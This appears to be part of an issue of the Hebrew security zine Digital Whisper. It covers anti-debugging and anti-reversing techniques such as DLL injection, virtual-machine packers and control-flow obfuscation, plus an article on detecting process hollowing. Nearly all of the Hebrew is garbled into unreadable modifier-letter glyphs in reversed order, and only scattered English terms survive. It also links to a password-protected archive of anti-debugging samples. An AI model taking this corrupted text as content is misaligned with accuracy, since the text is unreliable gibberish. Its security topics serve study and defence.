 ˭ˣ˶˵˰ˢ ˸˞ ˭˧˟ˢ˪ ˟˧˧˥ ˞ˣˢ ,˞ˣˡ˧ˣˣˢ ˫˸˧˶ˣˠ˪˞ ˸˞ ˥˴˲˪ ˢ˯ˮˬ ˶˵ˣ˥ ˶˷˞˩ ,˨˩ .˳˶ ˫˸˧˶ˣˠ˪˞ˢ˷ ˫˰˲

ˢ.ˢˤ 

 ˸˞ ˷ˬˬ˪ ˧˸˶˥˟GetSequenceNumber :˧'˴˞ˮˣ˟˧˲ ˸˶ˡ˯ ˪˷ ˢ˶ˤˣˬˣ ˢˮˣ˷ ˡˣ˞ˬ ˢ˯˶ˠ ˭˧˰ˬ˩ 

 

 ˢ˧ˢ˧˷ ˨˩ ˡ˥ˣ˧ˬ˟ ˧˸˧ˮ˟ ˣ˸ˣˬ˪˷˟ ˞ˣˡ˧ˣˣˢ ˫˸˧˶ˣˠ˪˞ ˪˩ ˸˞Reversible ˸˧˦˶ˣ˞˧˸ ˶˷˲˞ ˢ˧ˢ˧˷ ˶ˬˣ˪˩ ,

 ˡˣˠ˧ˮ˟ ˸˞ˤ .ˢˬ˯˧˯ˢ ˸˞ ˸ˣ˪ˠ˪ ˨˩˟ˣ ˰ˣ˟˵ˢ ˪˰ ˣ˸ˣ˞ ˪˧˰˲ˢ˪ˣ ˢˤˢ ˫˸˧˶ˣˠ˪˞˪ ˨ˣ˲ˢ ˫˸˧˶ˣˠ˪˞ ˸ˣˮ˟˪

 ˣˬ˩ ˫˸˧˶ˣˠ˪˞˪hash function ˡ˥ ˞ˣˢ˷-.˧ˮˣˣ˧˩ 

˶˲ˣ˯ˢ ˢˬ˯˧˯ˢ ˸˞ ˸ˣ˪ˠ˪ˣ ˧˪˷ ˢˮ˩ˣ˸ˢ ˸˞ ˳ˣ˶˲˪ ˥˧˪˴ˢ ˸˞ˤ ˪˩˟ ˣˢ˷˧ˬ ˫˞ ,˱ˣ˯˟˪- ˠ˧˴ˬ ˧ˮ˞ ˸˧ˡˣ˯

˰ˡˣˢ ˸˞:ˢ˥˪˴ˢˢ ˸ 

 

]˨ˣ˸ˬ password_verifier.cpp[ 
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˫ˣ˩˧˯ 

 ˪˷ ˞˷ˣˮˢ ˸˞ ˧˸˶˵˯ ˢˤ ˶ˬ˞ˬ˟Anti Debugging  ˸˧˷˰ˬ ˢˬˠˣˡ ˧˸˞˟ˢ ,˸ˣ˧˪˪˩˟ˣ ˯˧˯˟ˢˬ ˯ˣˡˮ˧ˣˣ˟

˨˧˪ˢ˸˪Reversing   ˫ˠ ˨˧˪ˢ˸ˢ ˧ˡ˩ ˨ˣ˸ .˥ˣ˴˧˲˪ ˢ˷˵ ˸ˣ˧ˢ˪ ˢ˯ˮˬˢ ˢˮ˩ˣ˸˪ ˸˦˶ˣ˲ˬ ˢˬˠˣˡˣ ˧˯ˣ˲˧˦

 ˸ˣ˞˧˶˵ ,˫˧ˠˮ˧˶˦˯ ˸˞˟˥ˢ ˭ˣˠ˩ ˸ˣ˧˟˧˦˵˲˞ˣ ˸ˣ˴ˣ˲ˮ ˸ˣ˵˧ˮ˩˦˪ ˷ˣˬ˧ˬ ˧˩˶ˡ ˣˮ˧˞˶API  .ˡˣ˰ˣ 

˩˟ ˧˸˷ˬ˸˷ˢ ˪˩ˢ ˨˯˟-11  ˰ˣˮˬ˪ ˧ˡ˩ ˸˞ˤ ˪˩ .˧˪˷ ˡˣ˵ˢ ˸˞ ˞˧˟˥ˢ˪ˣ ˨˟˯˪ ,˪˟˶˰˪ ˧ˡ˩ ˸ˣˮˣ˷ ˸ˣ˵˧ˮ˩˦

˭˧˟ˢ˪ ˫˧˶˥˞ˬ  ˥ˣ˦˟ ˧ˡ ˧ˮ˞ ,˸˞ˤ ˸ˣ˶ˬ˪ .˶ˣ˥˞˪ ˢ˯ˡˮˢ ˧ˡ˧ ˪˰ ˸˧ˡˣ˯ˢ ˢˬ˯˧˯ˢ ˸˞ ˸ˣ˪ˠ˪ˣ ˣ˸ˣ˞

 ˥˲˯ˮ ˣ˞˶ ˢ˟˥˶ˢ˪) .˫˧ˮˬˣ˧ˬ ˫˧˶˵ˣ˥ ˶ˣ˟˰ ˪˵ ˸˧˯˥˧ ˟˷˥ˮ ˭˧˧ˡ˰ ˧˸˟˸˩˷ ˢˮ˩ˣ˸ˢ ˪˷ ˢ˴˧˶˲ˢ ˨˧˪ˢ˸˷

(˸ˣˬˡ˵˸ˬ ˸ˣ˵˧ˮ˩˦ 

:˞˟ˢ ˶ˣ˷˧˵ˢˬ ˡ˧˶ˣˢ˪ ˭˸˧ˮ ˡˣ˵ˢ ˪˪˩ ˸˞ 

http://www.digitalwhisper.co.il/files/Zines/0x58/anti-debugging-software.rar 

 :ˢˬ˯˧˯notvirus  ˟˪ ˣˬ˧˷)˷ ˸ˣˮ˩ˣ˸Antivirus ˸ˣˢˤ˪ ˸ˣ˧ˣ˷˰ ˸ˣˮˣ˷  ˫˧˴˟˵ˢˬ ˵˪˥ ˸ˣˮ˩ˣ˸˩.(˸ˣ˵˧ˤˬ 

  

http://www.digitalwhisper.co.il/files/Zines/0x58/anti-debugging-software.rar
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˥˲˯ˮ :˸ˣ˵˧ˮ˩˦ ˸ˣˬˡ˵˸ˬ 

 ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧˷ ˶˸ˣ˧ ˸ˣˬˡ˵˸ˬ ˸ˣ˵˧ˮ˩˦ ˭ˮ˷˧ .˭˶˵˧˰˟ ˸ˣ˦ˣ˷˲ ˧ˡ ˭ˢ ˧˪˷ ˦˵˧ˣ˶˲˟ ˧˸˷ˬ˧ˬ˷ ˸ˣ˵˧ˮ˩˦ˢ

 .˧˪˷ ˦˵˧ˣ˶˲˟ ˭˸ˣ˞ ˧˸˪˪˩ ˞˪˷ ˢ˟˧˯ˢ ˸˞ˤˣ ˷ˣˬ˧ˬ˪ ˶˸ˣ˧ ˸ˣ˷˵ ˦˰ˬ ˭ˢ ˪˟˞ ˸ˣ˧˟˧˦˵˲˞ ˶˸ˣ˧ ˢ˟˶ˢ

:˭ˢˬ ˵˪˥ ˢˮˢ 

˸ˮ˲˴ˢ ˡˣ˵ 

 ˪˷ ˡˣ˵ˢˬ ˵˪˥ ˣˤ ˢ˦˧˷˟ ˡˣ˵ ˰˦˵˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶˷ ˫˰˲ ˪˩˟˷ ˨˩ ,˞˧ˢ˷˪˩ ˢ˶ˣ˴˟ ˭˲˴ˣˬ ˢˮ˩ˣ˸ˢ

 ˫˧˞˧˟˥ˬ ˣ˞ ˫˧ˮ˧˲˴ˬ ,ˣ˟ ˷ˬ˸˷ˢ˪ ˫˧ˬ˧˧˯ˬ˷ ˰ˠ˶˟ .ˣ˧˪˞ ˫˧˴˲ˣ˵ ˤ˞ ˵˶ˣ ˣ˸ˣ˞ ˫˧˥ˮ˰˲ˬ ˫ˡˣ˵ ,˫˧ˣ˯ˬ

 ˢˮ˩ˣ˸ˢ ˪˷ ˢ˴˧˶˪ ˧ˮˣ˧˥˷ ˡˣ˵ˢ ˵˶ ˭ˣ˸ˮ ˰ˠ˶ ˪˩˟˷ ˞ˣˢ ˣˤˢ ˢ˦˧˷ˢ ˧˶ˣ˥˞ˬ ˭ˣ˧˰˶ˢ .ˢ˴˧˶ ˭ˬˤ˟ ˟ˣ˷ ˣ˸ˣ˞

˟ ˫˧˧˵ ˢ˷˰ˬ˪ ˭˸˧ˮ˷ ˭˟ˣˬ˩ .˨˩ ˫˸˯ ˡˣ˵ ˸˯˧˲ ˪˩ ˶ˣ˵˥˪ ˧˶˷˲˞ ˧˸˪˟ ˸˞ˤ˩ ˢ˶ˣ˴˟ .˭ˣ˶˩ˤ˟ ˢ˧ˣ˪ˠ ˢ˶ˣ˴

.ˡˣ˰ˣ ˡˣ˵ ˰˦˵ ˪˩ ˶ˣ˟˰ ˢˮˣ˷ ˢˮ˲˴ˢ ˸˦˧˷˟ ˷ˬ˸˷ˢ˪ˣ ˸˞ˤˢ ˢ˦˧˷ˢ ˸˞ ˪˪˩˷˪ 

 ˢ˴˧˲˵ ˰ˣ˴˧˟ ˞˧ˢ ˸ˣ˥˲ ˢ˵ˤ˥ ˪˟˞ ˢˬˣˡ ˭ˣ˶˵˰ ˸˪˰˟ ˢ˦˧˷ˢ˞˶ˣˢ ˰˴ˬ˞˪  ˸˞ˤ ˫˧˷ˣ˰ ˫˞ .˧˪˟ˬ˯˞˟

ˣ˞ ˥ˣ˸˧ˮ ˧˪˩ ,ˢˮˣ˩ˮ ˢ˶ˣ˴˟ ˱˯ˣ˞ ˞ˣˢ ˡˣ˵ ˣ˸ˣ˞ ˪˷ ˢ˟˧˟˯˟ ˢ˞˶˧ ˶˵ˣ˥ˢ˷ ˢˬˣ ˸˞ˤ ˣˮ˧˟˧ ˞˪ ˟ˣ˶˪ ˧˦ˬˣ˦

.˸ˣ˧˞˶˵˞ ˧˪˟ˬ˯˞ ˸ˣ˞˶ˣˢ ˪˷ 

˸˰˧ˮˬ DLL Injection 

DLL Injection  "˸˵˶ˤˢ" ˪˷ ˢ˪ˣ˰˲ˢ ˞˧ˢDLL- ˨˶ˡ ˧ˢˣˤ ˢ˷˰ˬ˪ .˫˧ˬ˧ˣ˯ˬ ˫˧˩˧˪ˢ˸ ˨ˣ˸ ˪˞ ˫˧˧ˮˣ˴˧˥ ˫˧

 ˶˥˞ ˨˧˪ˢ˸ ˨ˣ˸˪ ˡˣ˵ ˵˧˶ˤˢ˪-  .˸˧˶ˣ˵ˬˢ ˢˮ˩ˣ˸ˢˬ ˵˪˥ ˢ˧ˢ ˞ˣˢ ˣ˪˧˞˩ ˵ˣ˧ˡ˟ ˠˢˮ˸˧ ˵˶ˤˣˬˢ ˡˣ˵ˢ˷ ˨˩

 ˸ˣ˪ˣ˰˲ ˪˪˷ ˰˴˟˪ ˧ˡ˩ ˸˞ˤˢ ˢ˵˧ˮ˩˦˟ ˫˧˷ˬ˸˷ˬ ˫˧˟˶ ˫˧˪˩Reversing )Patching/Hooking  ('ˣ˩ˣ

 .˫˧˩˶ˡ ˧ˮˬ ˪˩˟ ˢ˪˷ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˶˦ˮ˪ ˣ˞ ˢˮ˩ˣ˸ˢ ˫˰ "˵˥˷˪" ˶˵ˣ˥˪ ˫˧˶˷˲˞ˬˣ 

˪ ˫˧ˮ˧ˠ˞˪˲ ˫ˮ˷˧ ,˪˷ˬ˪-IDA ˢ˟ ˫˧˷ˬ˸˷ˬ˷ ˸˵˶ˤDLL  ˪˷ ˫˧˵˧˶˦ ˪˰ ˶˟ˠ˸ˢ˪ ˧ˡ˩Anti Debugging 

 ˰ˣ˴˧˟ ˸ˣ˰˴ˬ˞˟)Hooking  ˸ˣ˧˴˵ˮˣ˲˪API .(ˡˣ˰ˣ ˸ˣˬ˧ˣ˯ˬ 

 ˰ˣˮˬ˪ ˸ˣ˯ˮ˪ ˶˷˲˞DLL Injection ˢ ˸ˬ˧˷˶ ˸˞ ˵ˣ˶˯˪ ˭˸˧ˮ :˫˧˩˶ˡ ˶˲˯ˬ˟-DLL- ˷ˣ˲˧˥˟ ˫˧ˮˣ˰˦ˢ ˫˧

 ˭˰˦ˮ˷ ˫˰˲ ˪˩˟ ˢ˧˴˵˧˲˧˦ˣˮ ˸˪˟˵˪ ˫˷˶˧ˢ˪ ,˫˧ˡˣ˷˥ ˫˧˴˟˵ ˶˥˞DLL  ˣ˞ ,˷ˡ˥ˢˬ ˰ˣˮˬ˪ ˪˪˩˟-Loader 

 ˨ˣ˸˪ ˡˣ˵ ˸˵˶ˤˢ˪ ˫˧˩˶ˡ ˡˣ˰ ˸ˣˬ˧˧˵˷ ˭˟ˣˬ˩ .˧˶ˬˠ˪ ˢ˪˥˸ˣ˞ ˢˮ˩ˣ˸ˢ˷ ˧˶˥˞ ˡˣ˟˰˪ ˨˧˷ˬˢ˪ ˯ˣˡˮ˧ˣˣ ˪˷

.˭˧˦ˣ˪˥˪ ˢˤ ˸˞ ˣ˰ˮˬ˧ ˞˪ ˣ˪˞ ˪˩ˣ ˫˧˩˧˪ˢ˸ 

Virtual Machines 

˸˩ˮ ˧˶ˣ˵ˬˢ ˡˣ˵ˢ ˣˤˢ ˢ˦˧˷˟ .˫ˣ˥˸˟ ˶˸ˣ˧˟ ˢ˷˧ˡ˥ˢˣ ˢ˵ˤ˥ˢ ˢ˵˧ˮ˩˦ˢ ˢ˞˶ˮ˩ ˫ˢ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬ ˟

.(ˢ˪˷ˬ ˸ˣ˞˶ˣˢ ˦˯ ˫˰) ˢˮˣ˷ ˢ˶ˣ˦˵˦˧˩˶˞ ˸˪˰˟ ˢˮˣ˩ˬ ˪˰ ˳ˣ˶˪ ˡ˰ˣ˧ˬ ˢ˧ˢ ˣ˪˧˞˩  ˡˣ˵ˢ ˭˩ˬ ˶˥˞˪

 ˸˧˪˞ˣ˦˶˧ˣˢ ˢˮˣ˩ˬ ˢ˸ˣ˞ ˪˷ ˡˣ˵ˢ ˞ˣˢ ˳˶ ˢ˷˰ˬ˪˷- ) ˶ˣ˦˪ˣˬ˞ˢ ˣ˞Emulator "ˢ˲˷"ˢ ˸˞ ˥ˮ˰˲ˬ˷ (

 ˧˪˟ˬ˯˞˪ ˢ˸ˣ˞ ˫ˠ˶˸ˬˣ ˸˞ˤˢ ˢ˷ˡ˥ˢx86 .˪˧ˠ˶ 
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ˢ ˨˶ˡˢ ˢ˷˰ˬ˪˷ ˞ˣˢ ˸˞ˤˢ ˢ˦˧˷˟ ˪ˣˡˠˢ ˭ˣ˶˸˧ˢ ˦˯ ˸˞ ˭˧˟ˢ˪ ˞˧ˢ ˧˶ˣ˵ˬˢ ˡˣ˵ˢ ˸˞ ˭˧˟ˢ˪ ˢˡ˧˥˧

 ˷ˡ˥ˢ ˸ˣ˞˶ˣˢˢ-  ˫˧˷ˬ˸˷ˬ ˫˞ ˭ˣ˶˸˧ ˢˣˣˢ˸ ˸ˬ˞˟ ˞˪ ˸˞ˤˢ ˢ˦˧˷ˢ˷ ˢ˟˧˯ˢ ˫ˠ ˸˞ˤ .˧˶ˮˠ ˭ˣ˶˸˲ ˭˧˞

 ˢˬˠˣˡ˪) ˢ˰ˣˡ˧ ˢ˶ˣ˦˵˦˧˩˶˞ ˫˰ ˢ˟ARM ˡ˥˞˟ ˫˧˷ˬ˸˷ˬ ˣ˞ ,˧ˡˣ˥˧˧ ˸ˣ˞˶ˣˢ ˦˯ ˫˧˶˴ˣ˧ ˶˷˞˩ ˪˟˞ .(

 ˭ˣˠ˩) ˶˩ˣˬ ˸ˣ˥˲MIPS˰˟ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˣˤ ( ,ˢ˷˰ˬ˪ .˶˵ˣ˥ˢ ˶ˣ˟˰ ˢˮ˦˵ ˞˪ ˢ˧Packer- ˭ˣˠ˩ ˫˧ˬˡ˵˸ˬ ˫

Themida .˸˞ˤˢ ˢ˵˧ˮ˩˦ˢ ˸˞ ˫˧˪˪ˣ˩ ˶˟˩ 

 

]ˢˬˠˣˡ ˢ˧˴˵ˮˣ˲˪ ˢ˪˟˶ˣ˰˷ ˢ˦˧˷˟ xʕ[ 

Control Flow Obfuscation 

 ˭ˣˬˢ ˰ˣ˴˧˟ ˧ˡ˧ ˪˰ ˣ˪˷ ˸ˣ˧˦˯˧ˮ˧ˬ˶˦ˡˢˣ ˡˣ˵˟ "˸ˣ˧˶˞ˮ˧˪"ˢ ˸˷˪˥ˢ ˞ˣˢ ˢ˞˟ˢ ˢ˦˧˷ˢ ˧˶ˣ˥˞ˬ ˢ˶˦ˬˢ

 .˸ˣ˶˸ˣ˧ˬ ˸ˣ˴˧˲˵ ˪ˡˣˠ˟ ˨˶˰˟) ˸ˣˮ˦ˮ˦˵ ˡˣ˵ ˸ˣ˯˧˲ ˢ˟˶ˢ˪ ˫˪˷ˢ ˡˣ˵ˢ ˸˞ ˫˧˵˪˥ˬ :˨˩ ˸ˡ˟ˣ˰ ˢ˦˧˷ˢ

 ˫˰˲ ˪˩˟ .ˢˮ˩ˣ˸ˢ ˪˷ ˧˥˩ˣˮˢ ˟˴ˬˢ ˸˞ ˠ˴˧˧ˬ˷ ˧˪˟ˣ˪ˠ ˢˮ˸˷ˬ ˫˧˶˴ˣ˧ ˭˩ˬ ˶˥˞˪ .(˸˥˞ ˡˣ˵ ˸˶ˣ˷ ˪˷

 ˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ ˭˩ˬ ˶˥˞˪ .ˢˤˢ ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ ˸˞ ˫˧ˮ˩ˡ˰ˬ ,˸ˬ˧ˣ˯ˬ ˡˣ˵ ˸˯˧˲ ˰˴˟˪ ˫˧ˬ˧˧˯ˬ˷

˪˥ˬ ˟˷˥ˬˢ.˷ˡ˥ˬ ˫˰˲ ˪˩˟ ˢˮ˩ˣ˸ˢ ˪˷ ˧˥˩ˣˮˢ ˟˴ˬˢ ˪˰ ˨ˬ˸˯ˢ˟ ˳ˣ˲˵˪ ˭˞˪ ˦˧ 

,ˡˣ˵˟ ˸ˣ˧ˣ˲˰˸˯ˢˢ ˸˞ ˧˪˞ˣˤ˧ˣ ˭˲ˣ˞˟ ˭˧˟ˢ˪ ˢ˯ˮ˧ ˶˵ˣ˥ ˶˷˞˩  ˡ˧ˬ˸˷ ˡˣ˵ ˪˷ ˫˧˵ˣ˪˟ ˶˲˯ˬ ˢ˞˶˧ ˞ˣˢ

:˟ˣ˷ ˣ˪˞ˢ ˫˧˵ˣ˪˟ˢ ˪˩˪ ˸˲˰˸˯ˬ ˭˩ˬ ˶˥˞˪ ˢˡˣ˵ˮ ˢ˸ˣ˞ .˱ˣ˯˟ ˢˡˣ˵ˮ ˢ˸ˣ˞˪ ˢ˴˧˲˵ ˫˧˰˴˟ˬ 

 

ˡˣ˵ ˢˤ˧˞ ˸ˣ˞˶˪ ˶˸ˣ˧ ˢ˷˵ ˨˩  ˧ˡ ˢˤ ˸˞ ˢ˪ˠ˸ ˸˧ˮˡ˧ ˢ˵˧ˡ˟˷ ˭˧˧˴˪ ˷˧ ˸˞ˤ ˸ˣ˶ˬ˪ .ˡˣ˵ ˢˤ˧˞˪ ˪˧˟ˣˬ

.˶ˢˬ 
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Threadmap - Detecting Process Hollowing 

 ˸˞ˬ˪˧˧˵ ˯ˮ ,˱˥˷ ˭ˣ˦˰ ˫˰˧˪ˣ ˭˧˧˦˷ 

 

˵ˢˢˬˡ 

Process Hollowing ) ˢ˵˧˸ˣ ˢ˵˧ˮ˩˦ ˢˮ˧ˢStuxnet  ˢ˷ˬ˸˷ˢ ˢ˟ ˸ˮ˷˟ ˡˣ˰2010 ˧˪˩˪ ˸˶˷˲˞ˬˢ (

ˢ˸ ˪˷ ˸˲˦˰ˬ ˸˥˸ ˡˣ˵ ˳˧˶ˢ˪.˸ˣ˧˞˷˥ ˪˰ ˶ˣˬ˷˪ ˸ˮˬ ˪˰ ˶˥˞ ˨˧˪  ,ˢˮ˷˧ ˢ˵˧ˮ˩˦˟ ˶˟ˣˡˬ˷ ˸ˣ˶ˬ˪

 .˫˧ˮˣ˷ ˫˧ˮ˰ˠˣ˲/˫˧˪˩ ˧"˰ ˣˤˢ ˢ˵˧ˮ˩˦˟ ˟˥˶ ˷ˣˬ˧˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˭˧˧ˡ˰˪˰ ˸ˬ˧˧˵˷ ˸ˣ˞˶˪ ˫ˠ ˭˸˧ˮ˧ ˸ˬ˶˟ ˢ˧

 ˸˶˸ˣˢ ˞˪˪ ˸˧ˡˣ˯˧ ˢ˶ˣ˴˟ "˪˲˵˸ˢ˪" ˸˪ˣ˩˧ ,ˢ˴˧˶ ˭ˬˤ˟ ˸ˣ˧˞˷˥ ˸ˣ˪ˣ˩˧ ˸ˮ˧˥˟ˬ ˫˧˪˩ˢ ˪˷ ˫ˣ˩˥˸ˢ

 ˸ˣ˪ˣ˩˧ ,˫˧ˡ˧˰ˬ ˫˧ˮˬ˧˯Anti-Reverse ,Anti-Forensics  ˸ˬ˶ ˫ˠ ˢ˪ˣ˰ ˫˧˪˩ˢ ˪˷ ˸ˣˬˡ˵˸ˢˢ ˡ˴˪ .'ˣ˩ˣ

˴ˬ˪ˣ ˠˣˣ˯˪ ,˶ˣ˵˥˪ ˢ˥˦˟˞ ˧˷ˮ˞ ˪˷ ˸ˣ˪ˣ˩˧ˢˣ ˫ˣ˩˥˸ˢ."˧˸˥˦˟˞ ˰ˣ˶˧˞" ˸ˣ 

 ˢˤ ˶ˬ˞ˬ˟˯˥˧˧˸ˮ  ˠˣ˯ˬ ˡˣ˵ ˸˵˶ˤˢ˪ ˸ˣˡ˰ ˸˞˧˴ˬ ˪˷ ˞˷ˣˮ˪Process Hollowing  ˭ˣ˶˩˧ˤ ˸˶˧˵˥ ˸˰˟

˵ˮˬ˸ˡˣ .ˣˮ˪˷ ˦˟ˬˢ 

ˢ˶˦ˬ ˸ˠ˴ˢ 

ˢ ˸ˣ˵˧ˮ˩˦ ˫˞ ˭˧˟-Process Hollowing  ,˶˟ˡˢ ˣ˸ˣ˞ ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˸ˣ˶˞˷ˮ ˣ˞ ,ˢˬˡ˵ˢ ˫˰ ˡ˥˧ ˸ˣˮ˸˷ˬ

 ˪˷ "˦ˣ˷˲ˢ" ˢ˶˵ˬ˪ ˸ˣ˯˥˧˧˸ˬ ˭ˣ˶˩˧ˤ ˸˶˧˵˥ ˸˰˟ ˧ˣˢ˧ˤˢ ˸ˣ˪ˣ˩˧ ˟ˣ˶ ˧˩ ˣˮ˧˞˶Process Hollowing ,

 ˪˷ ˢ˧˴˦ˮˬ˪˲ˬ˧˞ ˯ˣ˲˸˪ ˪˩ˣˮ˷ ˢ˞˶ˮ˩ ˶ˬˣ˪˩PoC  ˶˸ˣ˧ ˫˩˥ˣ˸ˬ ˧˪˩ ˫˰ ˫˧˵˯˰˸ˬ ˣˮ˥ˮ˞ ˫˞ ˨˞ ,˧˪˩˟

˪˰ ˢ˵ˣˬ˰ ˢ˟˧˷˥ ˢ˸˷˰ˮ ˣ˟  (˭˸ˣ˞ ˫˧˯˲ˣ˸ ˢ˶˧˵˥ ˧˪˩ ˨˧˞ ˪˷ ˢˮ˟ˢ ˨ˣ˸ˬ) ˢ˵˶ˤˢ ˸ˣ˦˧˷ ˶˧˸˯ˢ˪ ˸ˮˬ

 .ˢ˷˵ ˢ˩˶˰ˬ˟ ˣˮˬ˴˰ ˸˞ ˞˴ˬˮ 

 ˠˣ˯ˬ ˡˣ˵ ˸˵˶ˤˢ ˶˸˞˪ ˸˲˯ˣˮ ˨˶ˡ ˠ˧˴ˢ˪ ˞˧ˢ ˶ˬ˞ˬˢ ˸˶˦ˬProcess Hollowing  .˭ˣ˶˩˧ˤ ˸˶˧˵˥ ˸˰˟

˪˫˷ ˪ˢ˸ˢ ˸˞ ˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˠ˧˴ˮ ˨˩ .ˢ˦˧˷ˢ ˸˞ ˣˮ˥˧˸˲˷ ˡ˰ ˣˮ˶˟˰˷ ˨˧ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶ ˣˢˬ ˶˧˩

Process Hollowing  ˫ˣ˧˩ ˷ˬˣ˷ˬ ˞ˣˢ ˨˧˞ˣ- ) ˫˧˶˲˯ ,˦ˮ˶˦ˮ˧˞˟ ˸ˣ˶ˣ˵ˬ ˶˲˯ˬ˟ ˸˶˞ˣ˸ˬ ˣˤ ˢ˵˧ˮ˩˦The 

Art of Memory Forensicsˢ ˭ˣ˧˪˧ˠ˟ ˣ˪˧˲˞ˣ (-77  ˪˷Digital Whisper.  ˸ˣ˵˧ˮ˩˦ ˸˞ ˶˧˩ˮ ,˭˩ˬ ˶˥˞˪

 ˞ˣ˴ˬ˪ ˸ˣˮˣˣ˩ˬ˷ ˭ˣ˶˩˧ˤˢ ˸˶˧˵˥Process Hollowing ˩˧ ˣˮ˥ˮ˞ ˡ˴˧˩ ˭˥˟ˮˣ ˷ˬˬ˪ ˫˧˪ˣProcess Hollowing 

 .ˣˮ˪˷ ˢ˦˧˷ˢ ˸˞ ˠ˧˴ˮ ,˱ˣ˯˟˪ .ˢ˪˞ ˸ˣ˦˧˷ˬ ˵ˬ˥˸ˢ˪ ˪˩ˣ˧˷ 
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Process Hollowing - ˶˟˯ˢ  

ˢ ˸˵˧ˮ˩˦- Process Hollowing ˫˧ˮˣ˷ ˫˧˲˵ˣ˸ ˟˶˵˟ ˨˶ˣ˴ ˪˰ ˸ˣˮ˰˪ ˸ˮˬ ˪˰ ˢ˶˴ˣˮ-  ˸ˣ˪ˣ˰˲ ˪˷ ˢ˶˸˯ˢ

 ˨˧˪ˢ˸ ˶˴ˣ˧ ˱˵ˣ˸ ˢ˩˪ˢˬ˟ ˶˷˞ ˡˣ˵ ˸ˣ˵˶ˤˢ ˸˥˲˷ˬ˪ ˸˩˧˧˸˷ˬˢ ˢ˴ˣ˲ˮ ˢ˵˧ˮ˩˦˟ ˶˟ˣˡˬ .˸ˣ˧ˬ˧˦˧ˠ˪ ˞˪

 ˪˦˟ˬ) ˨˧˪ˢ˸ˢ ˸˞ ˪˧˰˲ˬ ˱ˣ˯˟˪ˣ ,˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ ˪˷ ˡˣ˵ˢ ˸˞ ˵˧˶ˤˬ ,ˣ˸ˣ˞ "˭˵ˣ˶ˬ" ,ˢ˧˧ˢ˷ˢ˟ ˧ˬ˧˦˧ˠ˪

 ˱˵ˣ˸ˢ ,ˣˤ ˨˶ˡ˟ .(ˢ˧˧ˢ˷ˢˢ ˸˞˶˴ˣ˧ ˦˰ˬ ˸˥˸ ˳˶ ˶˷˞ ˧ˮˣˡˤ ˨˧˪ˢ˸ ˦ˣ˷˲ˢ ˷ˬ˸˷ˬˢ .˸˧ˬ˧˦˧ˠ˪ ˸˲

 ˨˧˪ˢ˸ ˢ˞˶˧˷ :ˢˬˠˣˡ˪) ˸˧˪˦˧ˠ˧ˡ ˢˬ˧˸˥ ˫˰ ˱˞ˣ ,˶˩ˣˬ ,˧ˬ˧˦˧ˠ˪ ˢ˞˶ˮMicrosoft ˶˟ˣˡˬ ˪˰ˣ˲˟ ˶˷˞˩ ,(

.ˢˣˣ˯ˬ˟ ˧ˮˣˡˤ ˨˧˪ˢ˸˟ 

 ˪˰ ˶˟ˡ˪ ˸ˮˬ ˪˰Process Hollowing  ˫˧˧˰ˣ˴˵ˬ ˫˧ˮ˟ˣˬ˟˷˧ ˪˸˰ˡ  ˫˧˧˯˧˯˟ˢ ˫˧ˠ˷ˣˬˢ ˸˞ ˢ˪˧˥˸

 :ˢˬˠˣˡ˪)PEB1 ,IBA2˷ ˨˧˪ˢ˸ˢ ˸˞ˣ (˶˲˯˟ ˢˡ˧˲˵˟ ˣ˶˟˯ˣˢ ˶˷˞ ˭ˣ˶˩˧ˤ˪ ˨˧˪ˢ˸ ˸ˮ˧˰˦ ˪Windows 

Internals 6th edition part 1.  ˪˷ ˫˧˟˪˷ˢ ˪˰ ˢ˶˴˵˟ ˶ˣ˟˰ˮ ,˸˰˩Process Hollowing  ˶˲˯˟ ˣˠ˴ˣˢ˷ ˧˲˩

The Art of Memory Forensics : 

1.  :ˢˬˠˣˡ˪) ˧ˬ˧˦˧ˠ˪ ˨˧˪ˢ˸ ˸˪˥˸ˢC:\windows\system32\ lsass.exeˢ ˫˰ ˪˟˞ ,(-Main thread 

ˢ ,ˣˤ ˢˡˣ˵ˮ˟ .ˢ˧˧ˢ˷ˢ˟-ImagePathName ˢ ˢˮ˟ˬˬ ˵˪˥˩-PEB  ˪˷ ˞˪ˬˢ ˟˧˸ˮˢ ˸˞ ˠ˧˴ˬ

lsass.exe .˧ˬ˧˦˧ˠ˪ 

2.  ˣ˞ ˭ˣ˶˩˧ˤˢˬ ,˵˯˧ˡˢ ˨˶ˡ ˠ˷ˣˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ ˡˣ˵ .˱˪˥ˣˬ ˸ˣ˧ˢ˪ ˡ˧˸˰ ˶˷˞ ˧ˮˣˡˤˢ ˡˣ˵ˢ ˪˷ ˢˠ˷ˢ

.˸˷˶ˢ ˨˶ˡ 

3. ˢ ˸ˠ˷ˢ-ImageBaseAddress  ˪˷lsass.exe˶ˣ˶˥˷ˣ ,\˷ ˧ˣ˲˧ˬ ˸˶˯ˢ .˧˦ˮˣˣ˪˶ˢ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˧˞ ˪

 ˶ˬˣ˪˩ ,˭˩ˣ˸ˬ ˵˧˶ ˨˧˪ˢ˸ˢ ,ˣˤ ˢˡˣ˵ˮ˟-  ˪˧˩ˬ ˣˮ˧˞DLL-˫˧3 ,Heaps ,Stacksˢ ˱˯ˣˮ˟ .-Handle˫˧  ˭˧˧ˡ˰

.˫˧˧˵ ˢ˴˶ˢ ˳˟ˣ˵ ˞˪˪ ˨˞ ,˫˧˥ˣ˸˲ ˫˧˶˞˷ˮ 

4. ˤ ˪˷ ˷ˡ˥ ˦ˮˬˠ˯ ˧ˣ˲˧ˬ˧ ˪˷ ˭ˣ˶˩ˤˢ ˟˥˶ˬ ˨ˣ˸˟ ˭ˣ˶˩lsass.exe ˞ˣˢ ˢ˴˵ˣˢ˷ ˭ˣ˶˩˧ˤˢ˷ ˧ˣˡ˧ˣ ˧ˡ˩ ˨ˣ˸ ,

